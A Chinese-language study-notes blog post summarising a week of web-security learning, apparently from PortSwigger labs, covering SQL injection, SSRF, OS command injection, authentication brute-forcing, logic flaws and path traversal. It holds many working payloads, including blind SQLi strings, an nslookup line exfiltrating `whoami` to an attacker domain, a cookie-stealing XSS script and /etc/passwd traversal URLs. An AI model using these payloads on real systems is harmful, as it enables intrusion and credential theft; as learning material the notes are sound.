屬於一個階段性的總結吧，總結我這一周學習的各種漏洞和各種情況分析
SQL注入
本篇假設：有一個數據庫叫data，其中有數據表叫users，users有三個字段：id | username | password
什么是SQL注入？
- SQL注入是2017年OWASP TOP 1 的危險性較高的一個漏洞類型
- 攻擊者可以利用修改報文（POST）、修改URL（GET）等方式對目標WEB頁面進行命令傳遞
- 目的是訪問甚至篡改WEB頁面背后的數據庫，甚至對服務器進行控制
- 執行SQL注入常用的工具有BurpSuite、Hackbar等
掌握SQL注入之前需要了解的知識點
- HTTP報文請求流程：https://www.cnblogs.com/Zeker62/p/15167764.html
- SQL基本查詢原理：https://www.cnblogs.com/Zeker62/p/15167822.html
- 基本PHP對數據庫的操作：https://www.cnblogs.com/Zeker62/p/15167795.html
- 不同SQL版本的注入命令：https://portswigger.net/web-security/sql-injection/cheat-sheet
SQL注入情況流程分析
有完整的回顯報錯（最簡單的情況）——檢索數據：
這種情況一般都比較簡單，因為可以根據報錯讓我們修改自己的命令；
假設存在網站：https://insecure-website.com/products?category=1 （假網站）
通過報文分析，這屬於一個GET請求，所以我們可以直接在URL上面修改我們想要的值，下面開始注入流程：
- 測試字符型注入還是數字型注入：
- 如果這個category的值是一個字符串，那么肯定是字符型注入。但是這個值是一個數字，就需要考慮下是字符型還是數字型注入
- 通過
1' --+和1" --+來嘗試閉合前面沒有顯示的符號，以達到測試的目的，查看報錯信息，假如我們注入后者，如果報錯信息是這樣的：- error '1" ......' 那么是字符型注入
- error '" ......' 那么就是數字型注入
- 在確定了到底是字符型還是數字型后，需要檢索到底有多少個字段：
- 方法1：使用order by ：
1' order by [number] --+number填寫數字，在超出字段的時候系統不會有顯示，所以就可以手動出來字段數啦 - 方法2：使用union select：
1' and 1=2 union select null[,null....] --+。這里需要注意的是，有的數據庫不需要使用1=2來回顯union，比如access數據庫，其次，使用null作為回顯內容是防止因為數據類型的沖突導致報錯，有的數據庫不支持null的時候，只能手工用數字或者字符添加，比如1' and 1=2 union select 1,'a',3 --+
- 方法1：使用order by ：
- 如果運氣好，知道了有多少個字段之后，就需要判斷回顯點，比如，當我們輸入
1' and 1=2 union select 1,2,3 --+的時候，2和3都顯示在了頁面上，就說明這存在兩個回顯點，我們可以進一步利用這兩個回顯點進行查詢。 - 查詢這個web所在的數據庫:我們可以直接使用database()函數對當前數據庫進行查詢，
1' and 1=2 union select 1,2,database() --+。 - 查詢所有數據庫：
1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+使用這個命令就可以找出所有的數據庫啦，這個命令是檢索information_schema.schemata所有的schema_name字段下的值 - 查詢所有數據表：
1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+這個命令是指在information_schema.tables這個數據表下查詢table_name字段下所有屬於本數據庫的數據表名稱 - 查詢所有字段名：
1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() --+在information_schema.columns數據表下查詢column_name字段下所有屬於本數據庫的字段名 - 查詢賬號和密碼：
1' and 1=2 union select 1,username,password from users --+ - 單列檢索多個值：如果只有一個字段，但是想同時出現賬號密碼，可以使用連接符號|| ||:比如
1' and 1=2 union select username || "~"|| password from users --+單引號雙引號要混用
這些payload需要牢記，這就是一般SQL注入過程，在這個過程里面，沒有任何防御、過濾措施。
在這個過程中，我們發現，幾乎可以檢索到所有目標web的數據，如果不對此進行防御，這將非常危險噶
詳細鏈接：
https://www.cnblogs.com/Zeker62/p/15167750.html
https://www.cnblogs.com/Zeker62/p/15167751.html
在HTTP報文中利用注釋———危險操作
下面的兩個操作都是基於觀察HTTP報文來修改的，SQL注入遠不能停留在URL
檢索隱藏數據：
情景再現：假如對於一個購物web來說，有一個參數release，當release=1的時候，顯示的是已發布的商品，但是當release=0的時候，代表的是“未發布”的隱藏商品。每當我們對一個物品進行查詢的時候，查詢URL如下：
https://insecure-website.com/products?category=Gifts
但這個只是表面的URL，或許我們將這個包用burpSuite抓下來，發現有兩個變量：
........category=Gifts&release=1
底層的SQL語句查詢為
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
這里就是一個SQL注入點：當我們將Gifts參數改成 Gifts'--++
那么底層的SQL語句就成了：
SELECT * FROM products WHERE category = 'Gifts'--++' AND released = 1
我們都知道 -- 是注釋符號，所以后面的變量直接被注釋掉了，這時，我們就同時看見了隱藏商品和已發布的商品，這就是，隱藏信息的查詢
SQL注入導致邏輯漏洞
其實這並不好歸為邏輯漏洞還是SQL注入漏洞。
情景再現 ：假如輸入賬號密碼登錄到客戶端，
我們截獲的報文是這樣的：
username=Tom&password=123
底層的SQL語句查詢是這樣的：
SELECT * FROM users WHERE username = 'Tom' AND password = '123'
但是此時我們修改報文，就可能導致不需要密碼驗證就登錄到賬戶，修改如下
username=Tom'--+++&password=123
那么SQL語句就成了：
SELECT * FROM users WHERE username = 'Tom'--+++' AND password = '123'
可能不需要賬號密碼就可以登錄了
SQL注入重點——盲注！
盲注可以說是SQL注入的重點了，幾乎所有真實的情況都是SQL盲注，因為稍微有點安全知識的、或者懶的開發者都不會把類似sql_error()這個函數寫上去吧。
目前針對SQL盲注有三種方法：
- 利用返回出來的web頁面差異，對我們的注入語句進行判斷，比如使用 1=2 、被0除這種故意營造錯誤
- 如果頁面沒有差異，那么就可以使用時間延遲的注入，設定我們SQL語句如果執行了就晚點返回頁面，可以有效判斷
- 如果上面的技術都沒有用，那就剩下BurpSuite的技術：OAST了，這個技術是在Burp Collaborator Client里面的。這個原理大致是，如果語句有效，它會返回給我們的Burp Collaborator Client一些報文，這個相當於DNS服務器一樣。
詳細鏈接：https://www.cnblogs.com/Zeker62/p/15167738.html
通過觸發條件響應來實現SQL盲注
情景再現：我們知道，假如你登錄一個賬戶，如果是正確的賬戶，或許會顯示“歡迎”，如果不正確，可能會顯示“請重新輸入”的界面，這種界面返回的不同相當於在說 yes 和 no，所以我們可以在后面加一些判斷語句，讓他告訴我們yes或者no
所以下面分析這個漏洞是如何利用的：
- 我們輸入一個正確的賬戶Tom，返回出“歡迎”的界面
- 在Burp中找到HTTP history 中剛剛發過去的報文，截取下來到Repeater
- 假設這個報文的
Cookie:usernmae=Tom - 這個報文的底層SQL語句查詢可能是：
SELECT username FROM users WHERE username = 'Tom' - 又嗅到了SQL注入的味道。
- 這個只會說yes和no的web，聯合注入查詢是沒有用的，只能另辟蹊徑。
- 假設我們知道管理員的賬號是Administrator
- 可以使用
Tom' AND SUBSTRING((SELECT password FROM Users WHERE username = 'Administrator'), 1, 1) > 'm來查詢管理員的密碼的第一個字符是不是在ASCII編碼上大於m - 於是底層的SQL語句就成了：
SELECT username FROM users WHERE username = 'Tom' AND SUBSTRING((SELECT password FROM Users WHERE username = 'Administrator'), 1, 1) > 'm'，如果第一個密碼字符是大於m的，會返回"歡迎"，所以接下來就可以使勁造了，但是這樣肯定費時間了噶。 - 我們可以先使用：
Tom' and (select 'a' from users where username='Administrator' and length(password)>5)='a這個語句來確定密碼長度。這里的解釋是，如果password大於5，那么就會返回a字符，再與a字符比較，返回真假。如果不大於5，那就返回false ，和a比就是假了。 - 然后再用intruder的暴力破解：
Tom' and (select substring(password,$1$,1) from users where username='Administrator')='$a$這樣，經過一系列的破解，最后的密碼就可以算出來了
通過觸發布爾錯誤實現SQL盲注——布爾盲注
情景再現：不管你是否成功登錄了賬戶，沒有“歡迎”和“重新輸入”界面了。根據查詢語句返回的任何數據，其結果不會有任何不同。
在這種情況下，可以根據注入的條件有目的去觸發SQL錯誤，從而使得web返回不一樣的響應狀態碼。並且我們需要在條件為true時導致數據庫錯誤，而不是在條件為false時導致數據庫錯誤，不理解？看下面的實操：
還是和上面的Cookie一致：
- 輸入
Tom' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a在這種情況下 ，1=2為假，所以我們可以返回a，這條語句的最終結果是true - 輸入
Tom' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a1=1 為真，返回的是1/0，但是0不能做除數，所以一定不會返回200OK狀態碼。 - 所以這樣的錯誤導致應用程序的HTTP響應存在某些差異，我們可以使用此差異來推斷注入的條件是否為真。
- 我們使用如下語句：
Tom' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a可以判斷我們的密碼的第一個字符的ASCII碼是不是大於m，於是可以沿用上面的暴力破解方法來算出密碼 - 另一種寫法：
Tom' || (select case when substr(password,§1§,1)='§a§' then to_char(1/0) else '' end from users where username='administrator') ||' - 個人比較喜歡第二種
通過觸發時間延遲實現SQL盲注——時延盲注
情景再現：如果WEB捕獲數據庫錯誤並隱秘地處理它們。意思就是說：執行注入的SQL查詢時觸發數據庫錯誤不再會導致應用程序的任何響應，也就是不再報出任何錯誤，所以前面的方法將沒有用。
此時我們可以讓返回的數據包慢一點，給判斷條件上附加一個"延長收貨"的功能，如果條件正確，就延長HTTP響應時間。
- 還是沿用第一個情況的Cookie
- 我們可以輸入：
Tom'%3Bselect case when(username='administrator' and length(password)>10) then sleep(10) else sleep(0) end from users --+++來判斷密碼長度是否大於10 ，在這里，%3B是表示分號，用於分隔執行的代碼，注意：不同的SQL數據庫時間延遲的函數也不一樣：MySQL是sleep() 而PostgreSQL是 gp_sleep() 等等，建議查表https://portswigger.net/web-security/sql-injection/cheat-sheet - 比如微軟數據庫：
Tom'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- - 確定時延可以用之后就可以爆破了
通過OAST進行盲注——最終大招
情景再現：如果數據庫是多線程並發執行的，就是在提交查詢請求之后，直接先返回接收正確的報文，然后也不告訴你查詢結果也不報錯，上面所有的方法都沒有用了，就剩下這個最終大招。
使用OAST最簡單、最可靠的方法是使用Burp Collaborator。這是一個服務器，提供各種網絡服務（包括DNS）的自定義實現，並允許您檢測何時由於向易受攻擊的應用程序發送單個有效負載而發生網絡交互。Burp Suite Professional內置了對Burp Collaborator的支持，無需配置。
- 這里涉及到XXE注入，我簡單解釋一下思路
- 就是將一些數據發送到我們的OAST服務器中去，這些數據擁有我們查詢的內容等等
- 也就是，不告訴我們的東西我們都知道了
雙注入
這個是我在sqli-labs 中做題做到的
鏈接在這：https://www.cnblogs.com/Zeker62/p/15167781.html
其實本質上報錯注入的一般情況，只是SQL語句的注入比較特殊。
2021-08-21 11:24:52 星期六
SSRF 攻擊
什么是SSRF攻擊？
- Server-Site Request Forgery 服務器端請求偽造攻擊
- 和CSRF不一樣的是，SSRF針對的是服務器
- 攻擊者針對服務器的攻擊意圖控制服務器的種種操作
常見SSRF攻擊情況
針對服務器本身的SSRF攻擊：
情景再現：比如在一個購物網站里，客戶端請求查詢一個物品庫存，要提供庫存信息，WEB必須查詢各種后端 REST API，具體取決於相關產品和商店，這個功能是通過前端 HTTP 請求將 URL 傳遞到相關后端 API 來實現的。因此，當用戶查看商品的庫存狀態時，他們的瀏覽器會發出如下請求：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
這種情況會讓服務器去檢http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1這個地方的商品庫存，並之后返回給用戶
於是，我們可以修改這個API：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
這樣，相當於用戶查詢了admin的內容，之后服務器也會將admin的內容返回給客戶端。
甚至，我們可以操作admin來刪除一個用戶：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
http://localhost/admin/delete?username=carlos
針對其他后端服務器的SSRF攻擊：
當我們訪問的服務器並不能訪問本地的內容，但是存在一種情況：可以和后端其他的服務器進行交互。
這就屬於一個內網攻擊的范疇，在前面的例子里沒假設有個192.168.1.100的服務器在目標服務器的網絡拓撲圖內
我們就可以使用SSRF來對其進行攻擊
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
http://192.168.1.100/admin
繞過常見的SSRF防御
有些web的SSRF防御不嚴，可以繞過，畢竟SSRF沒有SQL那么出名
敏感URL的混淆——壞人冒充好人
我們在進行SSRF攻擊的時候，像127.0.0.1和admin這種可能是敏感的URL內容，會被過濾器檢測到
有下面三種方法：
- 使用替代的IP代替127.0.0.1：比如2130706433，017700000001，或127.1
- 注冊自己的域名為127.0.0.1 比如：spoofed.burpcollaborator.net
- 使用 URL 編碼或大小寫變體混淆被阻止的字符串
友好URL的欺騙——壞人藏在好人堆里
有些服務器指定了只和哪些URL進行匹配，就相當於“白名單”一樣的東西
我們可以利用白名單里面的URL對其進行一些修改，讓他們既在白名單的范疇，又能執行惡意操作
方法如下：
- 可以使用
@字符在 URL 中的主機名之前嵌入憑據。例如：https://expected-host@evil-host。 - 可以使用該#字符來表示 URL 片段。例如：https://evil-host#expected-host。
- 可以利用 DNS 命名層次結構將所需的輸入放入您控制的完全限定的 DNS 名稱中。例如：https://expected-host.evil-host。
- 可以對字符進行 URL 編碼以混淆 URL 解析代碼。如果實現過濾器的代碼處理 URL 編碼字符的方式不同於執行后端 HTTP 請求的代碼，這將特別有用。
- 可以結合性地使用這些技術。
比如：http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
重定向的SSRF漏洞
當過濾非常非常嚴格的時候，但是出現一個新的事情：當查到數據之后重定向頁面
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
OS 命令注入
OS命令注入就是想盡一切辦法，讓攻擊者能夠對目標使用系統命令，以進行惡意操作
執行任意命令
情景再現：假設你在一個購物頁面，然后你點擊一個商品查看是否有貨，你點開了它：
https://insecure-website.com/stockStatus?productID=381&storeID=29
這個URL傳輸到服務器，有可能是通過命令行工作的，比如執行了命令：
findstock.py 381 29
然后將返回值返回給了客戶端
但是這種服務器並沒有對輸入的URL進行檢測，我們可以這么干：
https://insecure-website.com/stockStatus?productID=381&whoami&&storeID=29
這樣服務器的命令變成了：
findstock.py 381 &whoami& 29
命令執行過程：
- findstock.py 381 ---參數不全，錯誤
- whoami 返回賬戶名稱
- 29 不是命令
或者比如，修改報文如此：productId=2&storeId=3|whoami
&在注入的命令之后 放置額外的命令分隔符通常很有用，因為它將注入的命令與注入點之后的任何內容分開。這降低了以下內容阻止執行注入的命令的可能性。
這里有一些執行的常用分隔符：
command1 & command2 ：兩個命令都執行
command1 && command2 ：與執行，第一個成功執行第二個才會執行
command1 | command2 ：或執行，只執行第二個
command1 ||command2：第一個執行成功，第二個不執行。第一個執行失敗，第二個執行
一些常用的命令：
| 命令的目的 | Linux | Windows |
|---|---|---|
| 當前用戶名 | whoami | whoami |
| 操作系統 | uname -a | ver |
| 網絡配置 | ifconfig | ipconfig /all |
| 網絡連接 | netstat -an | netstat -an |
| 運行進程 | ps -ef | tasklist |
OS命令盲注
和SQL一樣，大多數情況下都是盲注。
服務器幾乎不會返回執行命令后的數據，因為大多數命令都是在服務器里隱秘進行了
比如：mail命令：
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail命令 的輸出就不會在應用程序的響應中返回，所以我們將針對這種情況進行探討
時延盲注
只要不是遇到多線程執行的服務器，時延盲注就很有效：
在OS命令里面，最有效的方法是使用ping -c 命令，比如：
& ping -c 10 127.0.0.1 &
這個命令會讓服務器ping 127.0.0.1 10秒的時間，有效實現了時延。
例如
email=x||ping+-c+10+127.0.0.1||
將兩個進行了一個拼接。
重定向盲注
當服務器不能回顯數值的時候，此時我們又可以通過命令訪問服務器里面的文件。
我們就可以選擇將命令的回顯內容寫入服務器的文件，然后我們再通過命令訪問這個文件，就能很好地實現重定向瞞住
例如，如果應用程序從文件系統位置提供靜態資源/var/www/static，那么您可以提交以下輸入：
& whoami > /var/www/static/whoami.txt &
該>字符將whoami命令的輸出發送到指定的文件。然后，您可以使用瀏覽器獲取https://vulnerable-website.com/whoami.txt或者https://vulnerable-website.com/?filename=output.txt文件以檢索文件，並查看注入命令的輸出。
使用OAST技術實現盲注
使用帶外 ( OAST ) 技術利用 OS 命令盲注入
您可以使用注入的命令，使用 OAST 技術觸發與您控制的系統的帶外網絡進行交互。例如：
& nslookup xxxxxxxxxxxxxxxxxxxxxxx.web-attacker.com &
使用之后，我們就可以在OAST端看見此條命令被執行，結合其他命令一起輸入，可以判斷是否注入成功。
這種技術就需要使用Burp Collaborator的支持了
此外，我們甚至可以在其中加上命令，在burp端就可以直接回顯出來：
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
這將導致對包含whoami命令結果的攻擊者域進行 DNS 查找：
就可以直接返回whoami了
命令注入符號
許多字符用作命令分隔符，允許將命令鏈接在一起。以下命令分隔符適用於基於 Windows 和 Unix 的系統：
- &
- &&
- |
- ||
以下命令分隔符僅適用於基於 Unix 的系統：
- ;
- 換行符（0x0a或\n）
使用 ``(Tab鍵上面的英文符號) 在其中直接加入命令可直接執行
身份驗證漏洞：
身份驗證漏洞就是在你輸入賬號密碼的時候，可能有各種各樣的能夠竊取到你的賬號密碼或者無密碼登錄。
這種漏洞的產生都是由於劣質的身份驗證機制。
常見的方法有：
- 暴力破解賬號密碼
- 獲取登錄憑據無密碼登錄
具體如下
登錄密碼的破解：
登錄密碼的破解離不開暴力遍歷破解，但是，根據一些其他的漏洞，我們可以很有效得縮小密碼的范圍，然后在短短的時間內就能輕松獲取密碼。當然，破解密碼之前，需要一本好的字典
此外，要記住：狀態碼302重定向通常代表着密碼的正確
根據不同的頁面響應確定密碼
情景假設：一個登錄界面的機制是，當你輸入一個用戶名和密碼的時候，會先檢索用戶名是否存在，如果存在，再搜索密碼是否正確；如果用戶名不存在，會直接顯示：Invalid username。
根據這種情況，我們可以先去暴力破解用戶名，再去暴力破解密碼：
- 假如字典里有1000個用戶名和1000個密碼
- 如果先暴力破解用戶名，只要不是Invalid username提示就是正確的用戶名，再暴力破解密碼，狀態碼為302就代表正確，這樣下來只要嘗試2000次就能得到答案
- 如果不管不顧使用全遍歷破解，則需要1000000次才能破解成功，非常耗時。
所以，在破解之前，要觀察它的頁面響應機制是什么
根據微小的區別頁面響應確定密碼
和上面的情景一樣，但這次，如果用戶名不存在則返回“Invalid”，如果用戶名存在則返回“Invalid ”（多個空格）
這樣的響應，我們肉眼幾乎無法探查，所以需要用到burp這個工具
所以這里需要學習的是：當響應的不同非常小的時候，借助burp可以非常有用：
- 我們在使用Intruder攻擊的時候，轉到options選項上，有個Grep的欄目，我們可以用選框框下報錯的地方
- 當這個區域范圍內的內容只要和我們初始框的不太一樣，就會顯示出來
所以，微小的響應使得我們必須借助工具了
根據響應時間的不同來確定用戶名
情景假設：用戶名我們並不知道，也不會有什么響應的不同，都是Invalid，這個時候怎么辦？
如果是先驗證用戶名再驗證密碼的機制的話
很顯然，服務器在找到正確用戶名之后還需要花時間去比對密碼，這將耗費更多的時間。而錯誤的用戶名根本就不用比對密碼，根據這個差異，我們可以觀察執行時間的差異來看看到底是哪個用戶，這種方法也要多試幾次，跟你的網絡也有關
如圖的兩個地方需要開啟，觀察耗時最長的就是它了，之后再暴力破解密碼就方便很多
破解服務器防止暴力破解對IP的限制
如果同一個IP請求訪問的次數太多了，服務器可能會認為它在暴力破解，不太安全
所以有個IP鎖
針對這種情況，我們可以增加一個：X-Forwarded-For或者X-Forwarded-Host
這兩個的作用顯示的是最原始的域名或者IP
我們在暴力破解的同時，對其也進行隨機數的生成
這樣服務器就會誤以為是不同的IP在訪問，有效繞過了IP鎖
破解更強的IP限制
更強的IP限制，就是X-Forwarded-For和X-Forwarded-Host不能用了的情況
情景再現：當用戶輸錯3次密碼以上，就會提醒用戶思考10分鍾甚至更久。
但是如果這三次中間只要有一次輸對了密碼，這個計數器就會被重置
此外X-Forwarded-For和X-Forwarded-Host被和諧
- 在這種情況下，不能在報文上做手腳了
- 如果我們已知一個正確的用戶名和密碼（比如我們自己注冊一個）
- 我們可以讓暴力破解的時候，讓攻擊者用戶和被攻擊者用戶交替登錄
- 當被攻擊者的賬戶登錯了，再登錄攻擊者的賬戶，計數器重置
- 這樣就可以實現暴力破解攻擊了
- 最后再過濾掉我們的賬戶，尋找302，就可以找到我們需要的賬號和密碼
這種方法雖然聽起來不錯，但是不幸的是，這種有可能必須使用全匹配機制，而且因為正確與不正確交替，我們最壞情況就是要執行2000000次查找
JSON請求漏洞
當POST/GET 提交的密碼報文以JSON的形式提交的時候，就可以修改密碼：
"username" : "carlos",
"password" : [
"123456",
"password",
"qwerty"
...
]
這樣會直接返302請求
多次身份驗證的漏洞
多次身份驗證的意思就是，驗證了賬號密碼，還要輸入驗證碼，或者發送郵箱驗證碼到你的郵箱驗證
在這里面也有許多有趣的漏洞：
繞過假的身份二次驗證
有的web里面驗證了賬號密碼就已經登錄進去了，
再發送驗證碼到郵箱並且輸入驗證碼就像個擺設
假如，Tom正確登錄的界面是 ...?username=Tom/my-account
二次驗證的URL為 ...?username=Tom/email-to-send
我們只需要更改URL后面的成為/my-account就可以正確登錄啦
二次驗證的邏輯漏洞
這次二次驗證不是擺設了，假設在你輸入驗證碼發送給服務器的時候，有兩個變量表示那是你：
- verify=Tom //用戶名
- email-code=3211 //驗證碼
服務器依靠這兩個關鍵參數來確定Tom要不要登錄
所以根據這個邏輯，我們可以將用戶名改成admin，驗證碼使用暴力破解
這樣，甚至有可能不需要密碼就達到登錄別人賬戶的目的
非常麻煩的暴力破解驗證碼情況（驗證碼有重復輸入檢測）
與密碼一樣，網站需要采取措施防止驗證碼的暴力破解。因為代碼通常是一個簡單的 4 位或 6 位數字。
如果沒有足夠的保護，破解這樣的代碼是so easy的。
一些網站試圖通過在用戶輸入一定數量的錯誤驗證碼時自動將用戶注銷來防止這種情況發生。
這在實踐中是無效的，因為高級攻擊者甚至可以通過為 Burp Intruder創建宏來自動化這個多步驟過程。
詳細見博客：https://www.cnblogs.com/Zeker62/p/15167725.html
其他的身份驗證機制漏洞
Cookie驗證
有些服務器將賬戶和密碼不用明文顯示出來，而是隱藏在Cookie里面 ，就需要用戶自己去破解
成功破解了Cookie就相當於成功破解了賬號密碼的位置，
再按照生成Cookie的規則進行暴力破解即可：
比如： Cookie=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
- 這個Cookie的公式是：base64(username,MD5(password))
- 所以我們在暴力破解的時候使用這個公式就能很好得攻擊
在Cookie破解的時候，得到目標的Cookie公式非常重要
一般密碼為MD5編碼：https://www.cnblogs.com/Zeker62/p/15167723.html
離線密碼破解
這一般要使用到存儲型XSS功能，因為此時的攻擊方式離線了，但是只要用戶上線，就能截取到目標用戶的賬號密碼
比如：
<script>document.location='//xxxxxxxxxxxxxxxx.web-security-academy.net/'+document.cookie</script>
使用這樣的XSS注入代碼，就能竊取到目標的Cookie了，再進行破解
密碼重置邏輯漏洞
在重置密碼的時候，會有一個token，但是我們刪除token之后，密碼也能重置成功
簡單而又有危害的漏洞
通過中間件服務器重設密碼中毒
情景再現，這次需要重置密碼，但是需要發送到郵箱里面有個重置密碼的URL
現在我們的Tom使用自己的賬戶，盜取ALice的賬戶
- Tom點擊忘記了密碼，重新設置
- Tom在重設密碼的URL里面添加一個
X-Forwarded-For - 這個指向的地址Tom的服務器
- 並將username參數更改為Alice並發送請求。
- 此時，系統會給Alice的郵箱發送重置密碼的鏈接
- Alice不知道這個東西，就點進去了
- Alice以為是自己的賬戶密碼重置，就完成了重置
- 此時Tom 的服務器就出現了一個東西GET /forgot-password請求
- 而上面有ALice的temp-forgot-password-token！
- 將這個密碼重置鏈接+Token粘貼到你的URL，此時你就可以重置Alice的密碼了！
事物邏輯漏洞
事物邏輯漏洞是一個統稱，不是特指哪一個漏洞，
邏輯漏洞存在於各種漏洞之中：身份驗證有可能有邏輯錯誤、命令注入也可能有邏輯錯誤，這里進行一些舉例
服務器對客戶端控制的過度信任
這種情況就是說服務器將一些關鍵性數據暴露出來，而稍微有點技術的客戶端的人就能輕易修改這些數據
情景再現：比如一件衣服的價格是1000元，但是我們可以截獲報文修改這個價格是1元，結果返回給服務器的價格真的就變成了1元
這種就是對客戶端的過度信任導致的漏洞
當然，我們之前介紹的二次驗證中的邏輯漏洞也是源於客戶端的過度信任
無法處理非常規輸入
有時候可能在想，要是買東西的時候錢越變越多就好了
依據這個漏洞還真有可能：
- 我們可以通過修改報文中的價格讓價格變成負數
- 我們可以修改商品數量讓價格超出整數的取值范圍變成負數（想象二進制是怎么變的）
還有一種情況：
就是當dontwannacry用戶有高權限的時候，我們可以使用very-long-string@dontwannacry.com.YOUR-EMAIL-ID.web-security-academy.net，而此時服務器的機制就是截取前面255個字節，只要我們截取的部分剛好是very-long-string@dontwannacry.com，就能使用高權限的郵箱進行登錄
用戶進行對服務器有害的行為
這一般和社會工程學有關：
受信任的用戶並不總是值得信賴的
一個高權限的用戶可以訪問/admin頁面，但是它的郵箱是@dontwannacry.com地址
我們可以修改郵箱也為這種郵箱就能訪問admin頁面了
這意思就是將關鍵的操作給了用戶授權，但是用戶有可能是像我們這種做滲透的。
服務器不會總是要求用戶強制輸入
比如現在輸入賬號密碼的時候，是不是有的時候並不要求用戶輸入賬號密碼什么
這就是一個漏洞。
比如在更改密碼的時候，可能會要求輸入你的當前密碼，但是服務器為了速度，省去了確認密碼的步驟，這就導致只需要賬戶就能輸入密碼，造成了極大的安全漏洞
用戶不會總是遵循預期的順序
這個漏洞是指，服務器規定了用戶必須先發什么報文再發什么報文才能生成什么樣的動作
比如購買商品：
- 成功購買了會發送一個GET /cart/order-confirmation?order-confirmation=true報文
- 但是我們沒錢的時候，這時候不去發送一個沒錢的報文，而是發送這個購買成功的報文穿插進去
- 這時就會顯示我們購買成功！
這就是對用戶的行為的順序的一種不當的推進
目錄遍歷漏洞
目錄遍歷漏洞是一種越權訪問。
就是明明在這個web頁面，卻通過一些操作，訪問這台服務器里面其他的文件，甚至重要文件
通過目錄遍歷讀取文件
- 假設一個圖片的URL是這樣的：
<img src="/loadImage?filename=218.png"> - 我們訪問圖片的URL就是這樣的：https://insecure-website.com/loadImage?filename=218.png
- 但是，由於目錄遍歷漏洞，我們可以修改filename的值，讓它訪問別的目錄：比如Linux下關鍵的passwd文件：https://insecure-website.com/loadImage?filename=../../../etc/passwd
- Windows下，攻擊也是等效的：https://insecure-website.com/loadImage?filename=......\windows\win.ini
繞過常見過濾器
- 使用文件系統的絕對路徑（例如
filename=/etc/passwd）來直接引用文件，而無需使用任何遍歷序列。 - 使用多個字符防止字符過濾，比如
filename=....//....//....//etc/passwd - 當遇到更強的過濾的時候：使用
filename=..%252f..%252f..%252fetc/passwd. - 當遇到必須以某個預期的文件開頭時，可以使用
filename=/var/www/images/../../../etc/passwd - 當必須使用某個擴展名結尾的時候，可以使用:
filename=../../../etc/passwd%00.png
現在的過濾器很強大，這個目錄遍歷的越權訪問在一些大網站上很難實現。
寫在最后
這篇文章是我對這一周所學知識的總結
耗時6個小時，差不多總結完了，但是還有靶場鏈接沒有整理
加油！！